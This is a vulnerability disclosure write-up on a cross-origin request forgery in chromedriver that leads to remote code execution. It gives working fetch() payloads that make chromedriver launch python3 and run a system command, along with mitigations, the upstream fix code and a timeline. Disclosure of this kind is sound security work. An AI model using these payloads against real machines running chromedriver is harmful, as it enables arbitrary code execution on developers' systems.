Cross-origin/same-site request forgery to RCE in chromedriver
Published:
Updated:
I found a cross-origin/same-site request forgery vulnerability in chromedriver. It was rejected (won't fix) because it is only possible to trigger this from the cross-origin/same-site and not cross-site. In practice, it means it is really only possible to trigger this from another localhost-bound web application.
chromedriver is vulnerable to a cross-origin/same-site request forgery vulnerability. This vulnerability can be exploited for remote code execution (RCE) as demonstrated by this exploit:
fetch("http://localhost:9515/session", {
method: "POST",
mode: 'no-cors',
headers: {
'Content-Type': 'text/plain'
},
body: JSON.stringify({
"capabilities": {
"alwaysMatch": {
"goog:chromeOptions": {
"binary": "/usr/bin/python3",
"args": ["-cimport os;os.system('xterm -e nyancat')"]
}
}
}
}),
});
I have tested this vulnerability on:
- Chromium 81.0.4044.92 built on Debian bullseye/sid, running on Debian bullseye/sid
- ChromeDriver 81.0.4044.92 (e98e6f21168a55e7ba57202f56323911cd9d31d1-refs/branch-heads/4044@{#883})
Cross-origin/same-site request forgery
By default, chromedriver listens on http://localhost:9515
. This prevents other machines from directly attacking the chromedriver instance. However chromedriver is vulnerable to cross-origin/same-site request forgery attacks as demonstrated by:
fetch("http://localhost:9515/session", {
method: "POST",
mode: 'no-cors',
headers: {
'Content-Type': 'text/plain'
},
body: JSON.stringify({
"capabilities": {
"alwaysMatch": {}
}
};
});
When executed by the user's browser from another origin on the same site, this code spawns a new Chromium instance.
The scope of this attack might seem limited because the attacker cannot easily interact with the created session. Acting on the session through CSRF is possible if the session ID is known but it is not easily possible for the attacker to find the session ID:
- it cannot get the session ID from the chromedriver response;
- it is very difficult to guess the session ID.
Remote Code Execution
It is however possible for the attacker to execute arbitrary commands with the session creation request.
The following properties of goog:chromeOptions
are of particular interest:
binary
lets the attacker specify the path of the Chromium binary to execute;args
lets the attacker specify a list of arguments to pass to this command.
python3
can be used to execute arbitrary system commands as demonstrated by the following exploit which executes the xterm -e nyancat
system command:
fetch("http://localhost:9515/session", {
method: "POST",
mode: 'no-cors',
headers: {
'Content-Type': 'text/plain'
},
body: JSON.stringify({
"capabilities": {
"alwaysMatch": {
"goog:chromeOptions": {
"binary": "/usr/bin/python3",
"args": ["-cimport os;os.system('xterm -e nyancat')"]
}
}
}
}),
});
Update 2023-06-08: another options it to use chrome --gpu-launcher="command"
.
Impact
Any frontend code on a localhost-bound application can get RCE through ChromeDriver: when ChromeDriver is running, a (reflected) XSS vulnerability on another localhost-bound application could be used to trigger RCE.
Propositions of mitigations
Content-Type Validation
This is possible because chromedriver accepts requests with any Content-Type
. Another origin can make POST requests to chromedriver using the following content-types: application/x-www-form-urlencoded
, multipart/form-data
, text/plain
.
chromedriver could fix this vulnerability by rejecting these content-types. chromedriver could even reject all requests which do not have a JSON content-type. This seems to be a violation of the WebDriver specification which does not mandate a JSON content-type for WebDriver POST requests.
It looks like this is a defect of the WebDriver specification which encourages CSRF attacks on WebDriver servers I have reported a similar issue on another GeckoDriver. The specification should explicitly allow a server-side implementation of the WebDriver to reject dangerous content-types and should require the client-side to use a JSON content-type. Additionnaly, the security section of the WebDriver specification should probably mention the risks of CSRF attacks.
HTTP-level Authentication
An new command-line flag could be added to chromedriver in order to require some form of HTTP authentication. When enabled, this would prevent CSRF attacks as well as attacks from other users on the same host.
PF_LOCAL Socket
chromedriver could receive a new option to listen on a PF_LOCAL
socket. These sockets are normally not accessible by CSRF. This could additionnaly be used to prevent other users on the same machine from talking to the chromedriver instance.
Update
Update 2022-02-13: I turns out that a CSRF vulnerability on chromederiver had been reported a few months before. The fix checks the Origin
or Host
and only allow some localhost origins (localhost, 127.0.0.1, etc.).
bool RequestIsSafeToServe(const net::HttpServerRequestInfo& info,
bool allow_remote,
const std::vector<net::IPAddress>& whitelisted_ips) {
// To guard against browser-originating cross-site requests, when host header
// and/or origin header are present, serve only those coming from localhost
// or from an explicitly whitelisted ip.
std::string origin_header = info.GetHeaderValue("origin");
bool local_origin = false;
if (!origin_header.empty()) {
GURL url = GURL(origin_header);
local_origin = net::IsLocalhost(url);
if (!local_origin) {
if (!allow_remote) {
LOG(ERROR)
<< "Remote connections not allowed; rejecting request with origin: "
<< origin_header;
return false;
}
if (!whitelisted_ips.empty()) {
net::IPAddress address = net::IPAddress();
if (!ParseURLHostnameToAddress(origin_header, &address)) {
LOG(ERROR) << "Unable to parse origin to IPAddress: "
<< origin_header;
return false;
}
if (!base::Contains(whitelisted_ips, address)) {
LOG(ERROR) << "Rejecting request with origin: " << origin_header;
return false;
}
}
}
}
// TODO https://crbug.com/chromedriver/3389
// When remote access is allowed and origin is not specified,
// we should confirm that host is current machines ip or hostname
if (local_origin || !allow_remote) {
// when origin is localhost host must be localhost
// when origin is not set, and no remote access, host must be localhost
std::string host_header = info.GetHeaderValue("host");
if (!host_header.empty()) {
GURL url = GURL("http://" + host_header);
if (!net::IsLocalhost(url)) {
LOG(ERROR) << "Rejecting request with host: " << host_header
<< ". origin is " << origin_header;
return false;
}
}
}
return true;
}
Timeline
- 2020-06-28, Reported to Chromium team
- 2020-06-30, Rejected (won't fix)
- 2020-10-07, Automatically disclosed by bug tracker because of lack of activity